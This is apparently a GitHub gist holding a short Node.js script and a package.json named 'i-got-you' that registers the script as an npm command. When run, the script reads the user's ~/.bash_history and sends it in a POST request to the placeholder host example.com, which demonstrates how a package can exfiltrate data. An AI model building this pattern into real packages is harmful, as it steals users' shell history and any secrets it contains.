Last active
August 20, 2023 22:47
-
-
Save tanepiper/6cb9067adca626cd2c0edbc3786dad7b to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env node | |
const fs = require('fs'); | |
const http = require('http'); | |
const home = process.env.HOME; | |
const options = { | |
host: 'example.com', | |
path: '/', | |
port: 80, | |
method: 'POST' | |
}; | |
const req = http.request(options, function(response) { | |
console.log(response); | |
}); | |
fs.readFile(`${home}/.bash_history`, 'utf-8', function(error, data) { | |
console.log(data); | |
req.write(data); | |
req.end(); | |
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ "name": "i-got-you", "version": "0.0.0", "bin": "./index.js" } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment